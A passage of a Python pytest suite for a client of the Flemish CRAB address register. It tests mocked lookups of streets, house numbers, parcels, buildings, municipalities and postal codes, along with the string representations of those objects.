BeginBewerking=1, BeginOrganisatie=1, Huisnummer='1' ) crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = Mock( StraatnaamId=1, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_huisnummer_by_nummer_and_straat(1, 1) assert isinstance(res, Huisnummer) assert res.huisnummer == '1' assert res.straat.id == 1 straat = Straat(1, None, None, None, None, None, None, None) res = crab_gateway.get_huisnummer_by_nummer_and_straat(1, straat) assert isinstance(res, Huisnummer) assert res.huisnummer == '1' def test_get_huisnummer_by_unexisting_nummer_and_straat(self, crab_gateway, crab_service): crab_service.GetHuisnummerWithStatusByHuisnummer.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_huisnummer_by_nummer_and_straat(-1, -1) def test_list_postkantons_by_gemeente(self, crab_gateway, crab_service): crab_service.ListPostkantonsByGemeenteId.return_value = Mock( PostkantonItem=[Mock(PostkantonCode=1)] ) res = crab_gateway.list_postkantons_by_gemeente(1) assert isinstance(res, list) assert isinstance(res[0], Postkanton) gemeente = Gemeente(1, None, None, None) res = crab_gateway.list_postkantons_by_gemeente(gemeente) assert isinstance(res, list) assert isinstance(res[0], Postkanton) def test_list_postkantons_by_gemeente_empty(self, crab_gateway, crab_service): crab_service.ListPostkantonsByGemeenteId.return_value = Mock( PostkantonItem=[] ) res = crab_gateway.list_postkantons_by_gemeente(0) assert isinstance(res, list) assert len(res) == 0 def test_get_postkanton_by_huisnummer(self, crab_gateway, crab_service): crab_service.GetPostkantonByHuisnummerId.return_value = Mock( PostkantonCode=1 ) res = crab_gateway.get_postkanton_by_huisnummer(1) assert isinstance(res, Postkanton) huisnummer = Huisnummer(1, None, None, None) res = crab_gateway.get_postkanton_by_huisnummer(huisnummer) assert isinstance(res, Postkanton) def test_get_postkanton_by_unexisting_huisnummer(self, crab_gateway, crab_service): crab_service.GetPostkantonByHuisnummerId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_postkanton_by_huisnummer(-1) def test_list_wegobjecten_by_straat(self, crab_gateway, crab_service): crab_service.ListWegobjectenByStraatnaamId.return_value = Mock( WegobjectItem=[Mock(IdentificatorWegobject=1, AardWegobject=1)] ) res = crab_gateway.list_wegobjecten_by_straat(1) assert isinstance(res, list) assert isinstance(res[0], Wegobject) straat = Straat(1, None, None, None, None, None, None, None) res = crab_gateway.list_wegobjecten_by_straat(straat) assert isinstance(res, list) assert isinstance(res[0], Wegobject) def test_list_wegobjecten_by_unexsiting_straat(self, crab_gateway, crab_service): crab_service.ListWegobjectenByStraatnaamId.return_value = Mock( WegobjectItem=[] ) res = crab_gateway.list_wegobjecten_by_straat(0) assert isinstance(res, list) assert len(res) == 0 def test_get_wegobject_by_id(self, crab_gateway, crab_service): crab_service.GetWegobjectByIdentificatorWegobject.return_value = Mock( IdentificatorWegobject='53839893', BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_wegobject_by_id("53839893") assert isinstance(res, Wegobject) assert res.id == "53839893" def test_get_wegobject_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetWegobjectByIdentificatorWegobject.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_wegobject_by_id(-1) def test_list_wegsegmenten_by_straat(self, crab_gateway, crab_service): crab_service.ListWegsegmentenByStraatnaamId.return_value = Mock( WegsegmentItem=[Mock()] ) res = crab_gateway.list_wegsegmenten_by_straat(1) assert isinstance(res, list) assert isinstance(res[0], Wegsegment) straat = Straat(1, None, None, None, None, None, None, None) res = crab_gateway.list_wegsegmenten_by_straat(straat) assert isinstance(res, list) assert isinstance(res[0], Wegsegment) def test_list_wegsegmenten_by_straat_empty(self, crab_gateway, crab_service): crab_service.ListWegsegmentenByStraatnaamId.return_value = Mock( WegsegmentItem=[] ) res = crab_gateway.list_wegsegmenten_by_straat(0) assert isinstance(res, list) assert len(res) == 0 def test_get_wegsegment_by_id(self, crab_gateway, crab_service): crab_service.GetWegsegmentByIdentificatorWegsegment.return_value = ( Mock(IdentificatorWegsegment='108724', BeginBewerking=1, BeginOrganisatie=1) ) res = crab_gateway.get_wegsegment_by_id("108724") assert isinstance(res, Wegsegment) assert res.id == "108724" def test_get_wegsegment_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetWegsegmentByIdentificatorWegsegment.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_wegsegment_by_id(-1) def test_list_terreinobjecten_by_huisnummer(self, crab_gateway, crab_service): crab_service.ListTerreinobjectenByHuisnummerId.return_value = Mock( TerreinobjectItem=[Mock()] ) res = crab_gateway.list_terreinobjecten_by_huisnummer(1) assert isinstance(res, list) assert isinstance(res[0], Terreinobject) huisnummer = Huisnummer(1, None, None, None) res = crab_gateway.list_terreinobjecten_by_huisnummer(huisnummer) assert isinstance(res, list) assert isinstance(res[0], Terreinobject) def test_list_terreinobjecten_by_huisnummer_empty(self, crab_gateway, crab_service): crab_service.ListTerreinobjectenByHuisnummerId.return_value = Mock( TerreinobjectItem=[] ) res = crab_gateway.list_terreinobjecten_by_huisnummer(0) assert isinstance(res, list) assert len(res) == 0 def test_get_terreinobject_by_id(self, crab_gateway, crab_service): crab_service.GetTerreinobjectByIdentificatorTerreinobject\ .return_value = Mock( IdentificatorTerreinobject='13040_C_1747_G_002_00', BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_terreinobject_by_id("13040_C_1747_G_002_00") assert isinstance(res, Terreinobject) assert res.id == "13040_C_1747_G_002_00" def test_get_terreinobject_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetTerreinobjectByIdentificatorTerreinobject\ .return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_terreinobject_by_id(-1) def test_list_percelen_by_huisnummer(self, crab_gateway, crab_service): crab_service.ListPercelenByHuisnummerId.return_value = Mock( PerceelItem=[Mock()] ) res = crab_gateway.list_percelen_by_huisnummer(1) assert isinstance(res, list) assert isinstance(res[0], Perceel) huisnummer = Huisnummer(1, None, None, None) res = crab_gateway.list_percelen_by_huisnummer(huisnummer) assert isinstance(res, list) assert isinstance(res[0], Perceel) def test_list_percelen_by_huisnummer_empty(self, crab_gateway, crab_service): crab_service.ListPercelenByHuisnummerId.return_value = Mock( PerceelItem=[] ) res = crab_gateway.list_percelen_by_huisnummer(0) assert isinstance(res, list) assert len(res) == 0 def test_get_perceel_by_id(self, crab_gateway, crab_service): crab_service.GetPerceelByIdentificatorPerceel.return_value = Mock( IdentificatorPerceel='13040C1747/00G002', BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_perceel_by_id("13040C1747/00G002") assert isinstance(res, Perceel) assert res.id == "13040C1747/00G002" def test_get_perceel_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetPerceelByIdentificatorPerceel.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_perceel_by_id(-1) def test_list_gebouwen_by_huisnummer(self, crab_gateway, crab_service): crab_service.ListGebouwenByHuisnummerId.return_value = Mock( GebouwItem=[Mock(IdentificatorGebouw=1)] ) res = crab_gateway.list_gebouwen_by_huisnummer(1) assert isinstance(res, list) assert isinstance(res[0], Gebouw) huisnummer = Huisnummer(1, None, None, None) res = crab_gateway.list_gebouwen_by_huisnummer(huisnummer) assert isinstance(res, list) assert isinstance(res[0], Gebouw) def test_list_gebouwen_by_huisnummer_empty(self, crab_gateway, crab_service): crab_service.ListGebouwenByHuisnummerId.return_value = Mock( GebouwItem=[] ) res = crab_gateway.list_gebouwen_by_huisnummer(0) assert isinstance(res, list) assert len(res) == 0 def test_get_gebouw_by_id(self, crab_gateway, crab_service): crab_service.GetGebouwByIdentificatorGebouw.return_value = Mock( IdentificatorGebouw=1538575, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_gebouw_by_id("1538575") assert isinstance(res, Gebouw) assert res.id == 1538575 def test_get_gebouw_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetGebouwByIdentificatorGebouw.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_gebouw_by_id(-1) def test_list_subadressen_by_huisnummer(self, crab_gateway, crab_service): crab_service.ListSubadressenWithStatusByHuisnummerId.return_value = ( Mock(SubadresWithStatusItem=[Mock(SubadresId=1)]) ) res = crab_gateway.list_subadressen_by_huisnummer(129462) assert isinstance(res, list) assert isinstance(res[0], Subadres) huisnummer = Huisnummer(129462, None, None, None) res = crab_gateway.list_subadressen_by_huisnummer(huisnummer) assert isinstance(res, list) assert isinstance(res[0], Subadres) def test_list_subadressen_by_huisnummer_empty(self, crab_gateway, crab_service): crab_service.ListSubadressenWithStatusByHuisnummerId.return_value = ( Mock(SubadresWithStatusItem=[]) ) res = crab_gateway.list_subadressen_by_huisnummer(0) assert isinstance(res, list) assert len(res) == 0 def test_get_subadres_by_id(self, crab_gateway, crab_service): crab_service.GetSubadresWithStatusBySubadresId.return_value = Mock( SubadresId=1120936, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_subadres_by_id(1120936) assert isinstance(res, Subadres) assert res.id == 1120936 def test_get_subadres_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetSubadresWithStatusBySubadresId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_subadres_by_id(-1) def test_list_adresposities_by_huisnummer(self, crab_gateway, crab_service): crab_service.ListAdrespositiesByHuisnummerId.return_value = Mock( AdrespositieItem=[Mock()] ) res = crab_gateway.list_adresposities_by_huisnummer(1) assert isinstance(res, list) assert isinstance(res[0], Adrespositie) def test_list_adresposities_by_huisnummer_empty(self, crab_gateway, crab_service): crab_service.ListAdrespositiesByHuisnummerId.return_value = Mock( AdrespositieItem=[] ) res = crab_gateway.list_adresposities_by_huisnummer(0) assert isinstance(res, list) assert len(res) == 0 def test_list_adresposities_by_nummer_and_straat(self, crab_gateway, crab_service): crab_service.ListAdrespositiesByHuisnummer.return_value = Mock( AdrespositieItem=[Mock()] ) res = crab_gateway.list_adresposities_by_nummer_and_straat(1, 1) assert isinstance(res, list) assert isinstance(res[0], Adrespositie) def test_list_adresposities_by_nummer_and_straat_empty(self, crab_gateway, crab_service): crab_service.ListAdrespositiesByHuisnummer.return_value = Mock( AdrespositieItem=[] ) res = crab_gateway.list_adresposities_by_nummer_and_straat(0, 0) assert isinstance(res, list) assert len(res) == 0 def test_list_adresposities_by_subadres(self, crab_gateway, crab_service): crab_service.ListAdrespositiesBySubadresId.return_value = Mock( AdrespositieItem=[Mock()] ) res = crab_gateway.list_adresposities_by_subadres(1120936) assert isinstance(res, list) assert isinstance(res[0], Adrespositie) def test_list_adresposities_by_subadres_empty(self, crab_gateway, crab_service): crab_service.ListAdrespositiesBySubadresId.return_value = Mock( AdrespositieItem=[] ) res = crab_gateway.list_adresposities_by_subadres(0) assert isinstance(res, list) assert len(res) == 0 def test_list_adresposities_by_subadres_and_huisnummer(self, crab_gateway, crab_service): crab_service.ListAdrespositiesBySubadres.return_value = Mock( AdrespositieItem=[Mock()] ) res = crab_gateway.list_adresposities_by_subadres_and_huisnummer('A', 129462) assert isinstance(res, list) assert isinstance(res[0], Adrespositie) def test_list_adresposities_by_unexisting_subadres_and_huisnummer( self, crab_gateway, crab_service): crab_service.ListAdrespositiesBySubadres.return_value = Mock( AdrespositieItem=[] ) res = crab_gateway.list_adresposities_by_subadres_and_huisnummer(0, 0) assert isinstance(res, list) assert len(res) == 0 def test_get_adrespositie_by_id(self, crab_gateway, crab_service): crab_service.GetAdrespositieByAdrespositieId.return_value = Mock( AdrespositieId=4428005, BeginBewerking=1, BeginOrganisatie=1 ) res = crab_gateway.get_adrespositie_by_id(4428005) assert isinstance(res, Adrespositie) assert res.id == 4428005 def test_get_adrespositie_by_unexisting_id(self, crab_gateway, crab_service): crab_service.GetAdrespositieByAdrespositieId.return_value = None with pytest.raises(GatewayResourceNotFoundException): crab_gateway.get_adrespositie_by_id(-1) def test_get_postadres_by_huisnummer(self, crab_gateway, crab_service): crab_service.GetPostadresByHuisnummerId.return_value = Mock( Postadres='Steenweg op Oosthoven 51, 2300 Turnhout' ) res = crab_gateway.get_postadres_by_huisnummer(1) assert res == 'Steenweg op Oosthoven 51, 2300 Turnhout' hnr = Huisnummer(1, None, None, None) res = crab_gateway.get_postadres_by_huisnummer(hnr) assert res == 'Steenweg op Oosthoven 51, 2300 Turnhout' def test_get_postadres_by_subadres(self, crab_gateway, crab_service): crab_service.GetPostadresBySubadresId.return_value = Mock( Postadres='Antoon van Brabantstraat 7 bus B, 2630 Aartselaar' ) res = crab_gateway.get_postadres_by_subadres(1120936) assert res == 'Antoon van Brabantstraat 7 bus B, 2630 Aartselaar' subadres = Subadres(1120936, None, None) res = crab_gateway.get_postadres_by_subadres(subadres) assert res == 'Antoon van Brabantstraat 7 bus B, 2630 Aartselaar' class TestGewest: def test_fully_initialised(self): g = Gewest( 2, {'nl': 'Vlaams gewest', 'fr': 'Région Flamande'}, (138165.09, 189297.53), (22279.17, 153050.23, 258873.3, 244022.31) ) assert g.id == 2 assert g.naam =='Vlaams gewest' assert g.centroid == (138165.09, 189297.53) assert g.bounding_box == (22279.17, 153050.23, 258873.3, 244022.31) assert 'Vlaams gewest (2)' == str(g) assert "Gewest(2)" == repr(g) def test_str_and_repr_dont_lazy_load(self): g = Gewest(2) assert 'Gewest 2' == str(g) assert 'Gewest(2)'== repr(g) def test_check_gateway_not_set(self): g = Gewest(2) with pytest.raises(RuntimeError): g.check_gateway() def test_gemeenten(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2, ) crab_service.ListGemeentenByGewestId.return_value = Mock( GemeenteItem=[ Mock(GemeenteId=1, NISGemeenteCode=10000, TaalCode='NL', TaalCodeGemeenteNaam='NL') ] ) g = Gewest(2) g.set_gateway(crab_gateway) gemeenten = g.gemeenten assert isinstance(gemeenten, list) def test_provincies(self, crab_gateway): g = Gewest(2) g.set_gateway(crab_gateway) provincies = g.provincies assert isinstance(provincies, list) assert len(provincies) == 5 def test_lazy_load(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2, GewestNaam='Vlaams Gewest', CenterX=138165.09, CenterY=189297.53, MinimumX=22279.17, MinimumY=153050.23, MaximumX=258873.3, MaximumY=244022.31 ) g = Gewest(2) g.set_gateway(crab_gateway) assert g.id == 2 assert str(g.naam) == 'Vlaams Gewest' assert g.centroid == (138165.09, 189297.53) assert g.bounding_box == (22279.17, 153050.23, 258873.3, 244022.31) class TestProvincie: def test_fully_initialised(self): p = Provincie(20001, 'Vlaams-Brabant', Gewest(2)) assert p.niscode == 20001 assert p.naam == 'Vlaams-Brabant' assert 'Vlaams-Brabant (20001)' == str(p) assert "Provincie(20001, 'Vlaams-Brabant', Gewest(2))" == repr(p) def test_check_gateway_not_set(self): p = Provincie(20001, 'Vlaams-Brabant', Gewest(2)) with pytest.raises(RuntimeError): p.check_gateway() def test_gemeenten(self, crab_gateway, crab_service): crab_service.GetGewestByGewestIdAndTaalCode.return_value = Mock( GewestId=2 ) crab_service.ListGemeentenByGewestId.return_value = Mock( GemeenteItem=[ Mock(GemeenteId=1, NISGemeenteCode=10000, TaalCode='NL', TaalCodeGemeenteNaam='NL') ] ) p = Provincie(20001, 'Vlaams-Brabant', Gewest(2)) p.set_gateway(crab_gateway) gemeenten = p.gemeenten assert isinstance(gemeenten, list) class TestGemeente: def test_fully_initialised(self): g = Gemeente( 1, 'Aartselaar', 11001, Gewest(2), Taal('nl', 'Nederlands', 'Nederlands.'), (150881.07, 202256.84), (148950.36, 199938.28, 152811.77, 204575.39), Metadata( '1830-01-01 00:00:00', '2002-08-13 17:32:32', Bewerking(1, '', ''), Organisatie(6, '', '') ) ) assert g.id == 1 assert g.naam == 'Aartselaar' assert g.niscode == 11001 assert isinstance(g.gewest, Gewest) assert g.gewest.id == 2 assert g.centroid == (150881.07, 202256.84) assert g.bounding_box == (148950.36, 199938.28, 152811.77, 204575.39) assert int(g.gewest.id) ==2 assert isinstance(g._taal, Taal) assert g._taal_id == 'nl' assert isinstance(g.metadata, Metadata) assert g.metadata.begin_datum == '1830-01-01 00:00:00' assert g.metadata.begin_tijd == '2002-08-13 17:32:32' assert isinstance(g.metadata.begin_bewerking, Bewerking) assert int(g.metadata.begin_bewerking.id) == 1 assert isinstance(g.metadata.begin_organisatie, Organisatie) assert int(g.metadata.begin_organisatie.id) == 6 assert 'Aartselaar (1)' == str(g) assert "Gemeente(1, 'Aartselaar', 11001)" == repr(g) @pytest.mark.skipif( not six.PY2, reason='This test only works on python 2.x' ) def test_unicode_py2(self): g = Gemeente(92, 'Biévène', 23009, Gewest(2)) assert 'Biévène (92)'.encode() == str(g) @pytest.mark.skipif( not six.PY3, reason='This test only works on python 3.x' ) def test_unicode_py3(self): g = Gemeente(92, 'Biévène', 23009, Gewest(2)) assert 'Biévène (92)' == str(g) def test_str_and_repr_dont_lazy_load(self): g = Gemeente(1, 'Aartselaar', 11001, Gewest(2)) assert 'Aartselaar (1)' == str(g) assert "Gemeente(1, 'Aartselaar', 11001)" == repr(g) def test_check_gateway_not_set(self): g = Gemeente(1, 'Aartselaar', 11001, Gewest(2)) with pytest.raises(RuntimeError): g.check_gateway() def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListTalen.return_value = Mock(CodeItem=[Mock(Code='nl')]) crab_service.GetGemeenteByGemeenteId.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1, CenterX=150881.07, CenterY=202256.84, MinimumX=148950.36, MinimumY=199938.28, MaximumX=152811.77, MaximumY=204575.39, TaalCode='nl' ) g = Gemeente(1, 'Aartselaar', 11001, Gewest(2)) g.set_gateway(crab_gateway) assert g.id == 1 assert g.naam == 'Aartselaar' assert g.niscode == 11001 assert isinstance(g.gewest, Gewest) assert int(g.gewest.id) == 2 assert g.taal.id == 'nl' assert g.centroid == (150881.07, 202256.84) assert g.bounding_box == (148950.36, 199938.28, 152811.77, 204575.39) g.metadata.set_gateway(crab_gateway) assert isinstance(g.metadata, Metadata) assert not g.metadata.begin_datum == None assert not g.metadata.begin_tijd == None assert isinstance(g.metadata.begin_bewerking, Bewerking) assert int(g.metadata.begin_bewerking.id) == 1 assert isinstance(g.metadata.begin_organisatie, Organisatie) assert int(g.metadata.begin_organisatie.id) == 1 def test_straten(self, crab_gateway, crab_service): crab_service.ListStraatnamenWithStatusByGemeenteId.return_value = Mock( StraatnaamWithStatusItem=[Mock()] ) g = Gemeente(1, 'Aartselaar', 11001, Gewest(3)) g.set_gateway(crab_gateway) straten = g.straten assert isinstance(straten, list) def test_postkantons(self, crab_gateway, crab_service): crab_service.ListPostkantonsByGemeenteId.return_value = Mock( PostkantonItem=[Mock(PostkantonCode=1)] ) g = Gemeente(1, 'Aartselaar', 11001, Gewest(3)) g.set_gateway(crab_gateway) postkanton = g.postkantons assert isinstance(postkanton, list) def test_provincie(self, crab_gateway): g = Gemeente(1, 'Aartselaar', 11001, Gewest(2)) g.set_gateway(crab_gateway) provincie = g.provincie assert isinstance(provincie, Provincie) assert 10000 == provincie.id class TestDeelgemeente: def test_fully_initialised(self): dg = Deelgemeente('45062A', 'Sint-Maria-Horebeke', 45062) assert dg.id == '45062A' assert dg.naam == 'Sint-Maria-Horebeke' assert 'Sint-Maria-Horebeke (45062A)' == str(dg) assert "Deelgemeente('45062A', 'Sint-Maria-Horebeke', 45062)" == repr(dg) def test_check_gateway_not_set(self): dg = Deelgemeente('45062A', 'Sint-Maria-Horebeke', 45062) with pytest.raises(RuntimeError): dg.check_gateway() def test_gemeente(self, crab_gateway, crab_service): crab_service.GetGemeenteByNISGemeenteCode.return_value = Mock( GemeenteId=1, GewestId=1, NisGemeenteCode=45062, BeginBewerking=1, BeginOrganisatie=1, GemeenteNaam='Horebeke' ) dg = Deelgemeente('45062A', 'Sint-Maria-Horebeke', 45062) dg.set_gateway(crab_gateway) gemeente = dg.gemeente assert isinstance(gemeente, Gemeente) assert gemeente.niscode == 45062 assert gemeente.naam == 'Horebeke' class TestTaal: def test_fully_initialised(self): t = Taal( "nl", 'Nederlands', 'Nederlands.' ) assert t.id == "nl" assert t.naam == 'Nederlands' assert t.definitie == 'Nederlands.' assert 'Nederlands' == str(t) assert "Taal('nl', 'Nederlands', 'Nederlands.')" == repr(t) class TestBewerking: def test_repr(self): b = Bewerking( '3', 'correctie', 'Correctie van de attributen.' ) assert "Bewerking(3, 'correctie', 'Correctie van de attributen.')" == repr(b) class TestOrganisatie: def test_repr(self): o = Organisatie( '6', 'NGI', 'Nationaal Geografisch Instituut.' ) assert "Organisatie(6, 'NGI', 'Nationaal Geografisch Instituut.')" == repr(o) class TestAardsubadres: def test_repr(self): a = Aardsubadres( '1', 'appartementNummer', 'Nummer van het appartement.' ) assert "Aardsubadres(1, 'appartementNummer', 'Nummer van het appartement.')" == repr(a) class TestAardadres: def test_repr(self): a = Aardadres( '1', 'subAdres', 'Aanduiding van een plaats op een huisnummer' ) assert "Aardadres(1, 'subAdres', 'Aanduiding van een plaats op een huisnummer')" == repr(a) class TestAardgebouw: def test_repr(self): a = Aardgebouw( '3', 'virtueel gebouw', 'gbg afgezoomd met virtuele gvl' ) assert "Aardgebouw(3, 'virtueel gebouw', 'gbg afgezoomd met virtuele gvl')" == repr(a) class TestAardwegobject: def test_repr(self): a = Aardwegobject( '1', 'taTEL', 'Wegverbinding volgens TeleAtlas.' ) assert "Aardwegobject(1, 'taTEL', 'Wegverbinding volgens TeleAtlas.')" == repr(a) class TestAardterreinobject: def test_repr(self): a = Aardterreinobject( '1', 'kadPerceel', 'Perceel volgens het Kadaster.' ) assert "Aardterreinobject(1, 'kadPerceel', 'Perceel volgens het Kadaster.')" == repr(a) class TestStatushuisnummer: def test_repr(self): s = Statushuisnummer( '1', 'voorgesteld', None ) assert "Statushuisnummer(1, 'voorgesteld', 'None')" == repr(s) class TestStatussubadres: def test_repr(self): s = Statussubadres( '1', 'voorgesteld', None ) assert "Statussubadres(1, 'voorgesteld', 'None')" == repr(s) class TestStatusstraatnaam: def test_repr(self): s = Statusstraatnaam( '1', 'voorgesteld', None ) assert "Statusstraatnaam(1, 'voorgesteld', 'None')" == repr(s) class TestStatuswegsegment: def test_repr(self): s = Statuswegsegment( '1', 'vergunningAangevraagd', None ) assert "Statuswegsegment(1, 'vergunningAangevraagd', 'None')" == repr(s) class TestGeometriemethodewegsegment: def test_repr(self): g = Geometriemethodewegsegment( '2', 'opmeting', None ) assert "Geometriemethodewegsegment(2, 'opmeting', 'None')" == repr(g) class TestStatusgebouw: def test_repr(self): s = Statusgebouw( '1', 'vergunningAangevraagd', None ) assert "Statusgebouw(1, 'vergunningAangevraagd', 'None')" == repr(s) class TestGeometriemethodegebouw: def test_repr(self): g = Geometriemethodegebouw( '2', 'opmeting', None ) assert "Geometriemethodegebouw(2, 'opmeting', 'None')" == repr(g) class TestHerkomstadrespositie: def test_repr(self): h = Herkomstadrespositie( '6', 'manueleAanduidingVanToegangTotDeWeg', None ) assert "Herkomstadrespositie(6, 'manueleAanduidingVanToegangTotDeWeg', 'None')" == repr(h) class TestStraat: def test_fully_initialised(self): s = Straat( 1, 'Acacialaan', 1, Statusstraatnaam(3, 'inGebruik', None), 'Acacialaan', 'nl', None, None, Metadata( '1830-01-01 00:00:00', '2013-04-12 20:07:25.960000', Bewerking(3, '', ''), Organisatie(1, '', '') ) ) assert s.id == 1 assert s.label == 'Acacialaan' assert s.namen == (('Acacialaan', 'nl'), (None, None)) assert int(s.status_id) == 3 assert isinstance(s.status, Statusstraatnaam) assert int(s.gemeente_id) == 1 assert isinstance(s.metadata, Metadata) assert s.metadata.begin_datum == '1830-01-01 00:00:00' assert s.metadata.begin_tijd == '2013-04-12 20:07:25.960000' assert isinstance(s.metadata.begin_bewerking, Bewerking) assert int(s.metadata.begin_bewerking.id) == 3 assert isinstance(s.metadata.begin_organisatie, Organisatie) assert int(s.metadata.begin_organisatie.id) == 1 assert 'Acacialaan (1)' == str(s) assert "Straat(1, 'Acacialaan', 1, 3)" == repr(s) def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListStatusStraatnamen.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = Mock( StraatnaamId=1, BeginBewerking=1, BeginOrganisatie=1, StraatnaamLabel='Acacialaan', Straatnaam='Acacialaan', TaalCode='nl', StraatnaamTweedeTaal=None, TaalCodeTweedeTaal=None ) crab_service.GetGemeenteByGemeenteId.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1 ) s = Straat(1, 'Acacialaan', 1, 3, 'Acacialaan', 'nl', None, None) s.set_gateway(crab_gateway) assert s.id == 1 assert s.label == 'Acacialaan' assert int(s.status.id) == 3 assert s.namen == (('Acacialaan', 'nl'), (None, None)) assert int(s.gemeente.id) == 1 s.metadata.set_gateway(crab_gateway) assert isinstance(s.metadata, Metadata) assert s.metadata.begin_datum is not None assert s.metadata.begin_tijd is not None assert isinstance(s.metadata.begin_bewerking, Bewerking) assert int(s.metadata.begin_bewerking.id) == 1 assert isinstance(s.metadata.begin_organisatie, Organisatie) assert int(s.metadata.begin_organisatie.id) == 1 def test_str_and_repr_dont_lazy_load(self): s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) assert 'Acacialaan (1)' == str(s) assert "Straat(1, 'Acacialaan', 1, 3)" == repr(s) def test_check_gateway_not_set(self): s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) with pytest.raises(RuntimeError): s.check_gateway() def test_huisnummers(self, crab_gateway, crab_service): crab_service.ListHuisnummersWithStatusByStraatnaamId.return_value = ( Mock(HuisnummerWithStatusItem=[Mock(HuisnummerId=1)]) ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) huisnummers = s.huisnummers assert isinstance(huisnummers, list) def test_taal(self, crab_gateway, crab_service): crab_service.ListTalen.return_value = Mock(CodeItem=[Mock(Code='nl')]) crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = Mock( StraatnaamId=1, BeginBewerking=1, BeginOrganisatie=1, StraatnaamLabel='Acacialaan', Straatnaam='Acacialaan', TaalCode='nl', StraatnaamTweedeTaal=None, TaalCodeTweedeTaal=None ) crab_service.GetGemeenteByGemeenteId.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1, TaalCode='nl' ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) taal = s.taal assert isinstance(taal, Taal) assert s.taal.id == 'nl' def test_gemeente(self, crab_gateway, crab_service): crab_service.GetGemeenteByGemeenteId.return_value = Mock( GemeenteId=1, GewestId=1, BeginBewerking=1, BeginOrganisatie=1 ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) gemeente = s.gemeente assert isinstance(gemeente, Gemeente) def test_status(self, crab_gateway, crab_service): crab_service.ListStatusStraatnamen.return_value = Mock( CodeItem=[Mock(Code=3)] ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) status = s.status assert isinstance(status, Statusstraatnaam) def test_wegobjecten(self, crab_gateway, crab_service): crab_service.ListWegobjectenByStraatnaamId.return_value = Mock( WegobjectItem=[Mock(IdentificatorWegobject=1, AardWegobject=1)] ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) wegobjecten = s.wegobjecten assert isinstance(wegobjecten, list) assert isinstance(wegobjecten[0], Wegobject) def test_wegsegmenten(self, crab_gateway, crab_service): crab_service.ListWegsegmentenByStraatnaamId.return_value = Mock( WegsegmentItem=[Mock()] ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) wegsegmenten = s.wegsegmenten assert isinstance(wegsegmenten, list) assert isinstance(wegsegmenten[0], Wegsegment) def test_bounding_box(self, crab_gateway, crab_service): crab_service.ListWegsegmentenByStraatnaamId.return_value = Mock( WegsegmentItem=[Mock()] ) crab_service.GetWegsegmentByIdentificatorWegsegment.return_value = ( Mock(IdentificatorWegsegment='108724', BeginBewerking=1, BeginOrganisatie=1, Geometrie='LINESTRING (150339.255243488 201166.401677653,' '150342.836939491 201165.832525652,' '150345.139531493 201165.466573652,' '150349.791371495 201164.769421652)') ) s = Straat(1, 'Acacialaan', 1, 3, None, None, None, None) s.set_gateway(crab_gateway) bounding = s.bounding_box assert isinstance(bounding, list) assert len(bounding) == 4 class TestHuisnummer: def test_fully_initialised(self): h = Huisnummer( 1, Statushuisnummer(3, 'inGebruik', None), "51", 17718, Metadata( '1830-01-01 00:00:00', '2011-04-29 13:27:40.230000', Bewerking(1, '', ''), Organisatie(5, '', '') ) ) assert h.id == 1 assert h.huisnummer == "51" assert int(h.status_id) == 3 assert isinstance(h.status, Statushuisnummer) assert int(h.straat_id) == 17718 assert isinstance(h.metadata, Metadata) assert h.metadata.begin_datum == '1830-01-01 00:00:00' assert h.metadata.begin_tijd, '2011-04-29 13:27:40.230000' assert isinstance(h.metadata.begin_bewerking, Bewerking) assert int(h.metadata.begin_bewerking.id) == 1 assert isinstance(h.metadata.begin_organisatie, Organisatie) assert int(h.metadata.begin_organisatie.id) == 5 assert '51 (1)' == str(h) assert "Huisnummer(1, 3, '51', 17718)" == repr(h) def test_str_dont_lazy_load(self): h = Huisnummer(1, 3, '51', 17718) assert '51 (1)' == str(h) def test_lazy_load(self, crab_gateway, crab_service): crab_service.ListStatusHuisnummers.return_value = Mock( CodeItem=[Mock(Code=3)] ) crab_service.GetStraatnaamWithStatusByStraatnaamId.return_value = Mock( StraatnaamId=17718, 